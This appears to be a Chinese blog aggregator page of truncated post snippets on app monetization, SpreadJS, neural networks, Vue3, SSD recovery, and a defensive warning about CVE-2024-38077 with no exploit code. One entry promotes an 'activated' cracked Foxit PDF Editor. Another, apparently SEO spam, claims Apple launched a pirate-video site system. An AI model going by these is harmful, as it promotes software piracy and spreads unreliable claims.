    大家好,我是牢鹅!随着全球化的不断深入,越来越多的企业开始将目光投向海外市场,出海最重要的无疑是变现了,开发者可以通过在应用中展示广告来获得收益,而广告商则能够在广告中获得曝光和用户互动。变现主要分为两块:内购(简称IAP)、广告(简称IAA),本篇将重点介绍对于应用内广告变现的出海知......
  • SpreadJS 个人学习及项目遇到的一些问题的总结
    最近公司有SpreadJS的部分,刚接触挺迷茫的,因为这个文档有点不清晰,有些属性啥的,看到跟没看一样,他没有那种效果图例说明,属性说的就很简单,看了大半天感觉没看出来啥,等开始做的时候就各种问题,感谢有同事替我们负重前行,趟过了很多的坑,这导致比预期入手好很多,目前只是算简单的上手,所以就......
  • 福昕高级PDF编辑器专业版 v2024 激活版
    福昕高级PDF编辑器是一款功能强大的PDF文件编辑软件,提供多种实用的编辑功能。软件功能:PDF文档编辑:用户可编辑PDF文档内容,包括文字、图片、表格、图形等,且不会对原有文本内容造成影响。批注工具:提供多种批注工具,如注释,连线框和浮动注释,在PDF文件中添加批注和标记以便于阅读。......
  • 深度学习——神经网络(neural network)详解(二). 带手算步骤,步骤清晰0基础可看
    深度学习——神经网络(neuralnetwork)详解(二).手算步骤,步骤清晰0基础可看前文如下:深度学习——神经网络(neuralnetwork)详解(一).带手算步骤,步骤清晰0基础可看运用神经网络模型进行房价预测具体手算过程,具体示例假设我们有一个简单的神经网络,还是之前这个神经网络,输入层2个......
  • 2024影视泛系统:苹果V10二开影视泛程序与苹果影视泛目录
    ###2024影视泛系统:苹果V10二开影视泛程序与苹果影视泛目录在数字化时代,影视娱乐产业经历了翻天覆地的变化。2024年,随着技术的不断进步,影视泛系统成为了行业的新宠。其中,苹果公司推出的V10二开影视泛程序以及苹果影视泛目录,成为了市场上的焦点。本文将深入探讨这一新兴系统,以......
  • 远程桌面授权服务远程代码执行漏洞(CVE-2024-38077)漏洞预警
    影响范围开启了RDL服务的WindowsServer2000到2025都会受到影响满足以上条件可以直接RCE关于RDL服务名全称,RemoteDesktopLicensing,如图:这个就是RDL服务,一般运维应该不会刻意去安装这个的,常用自带默认的远程桌面服务加个白名单就够了:解决办法1、没装RDL服务的不用管2......
  • 2024年10大ChatGPT AI 搬砖神器【打工族、学生党必备】
    随着ChatGPT的兴起,一大批AI工具随之诞生,其中有很多堪称神器分享10个国内可以使用使用的网站和AI搬砖工具,摸鱼起飞就靠他们了。1: AIPlus【AI对话】推荐指数:⭐️⭐️⭐️⭐️⭐️适合人群:学生党、打工人推荐理由:一个AI综合网站,有多个AI对话和绘画站,每个站点都很流畅且可用2:xie.y......
  • 前端vue3学习记录二
    ref和reactive的补充在使用reactive 进行对象数据的响应化时,要注意,将响应式对象分配给一个新的对象的时候,新的对象是不具有响应式性质的functionChangecar(){car={brand:'红旗',price:20000}//没有响应式性质car=reactive({brand:'红旗',price:20......
  • 致钛固态硬盘误删数据恢复指南(2024版)
    在当今这个数字化时代,数据已经成为我们生活和工作中不可或缺的一部分。无论是珍贵的家庭照片、重要的工作文件,还是学习资料,都存储在各类存储设备中,其中固态硬盘(SSD)因其高速读写能力而备受青睐。然而,误删数据的情况时有发生,尤其是在使用致钛等高性能固态硬盘时,一旦操作不慎,重要......
  • 2024暑假集训测试20
    前言比赛链接。状态不太好,又犯了老毛病死磕T1,但T1是个很典的套路题我根本没听说过,T2做过原题但没打。T1九次九日久重色详细记录一下这个经典套路。求最长上升子序列\(O(n^2)\)的就不写了,但是记录路径或方案书必须用\(O(n^2)\),这里说如何\(O(n\logn)\)求。因为......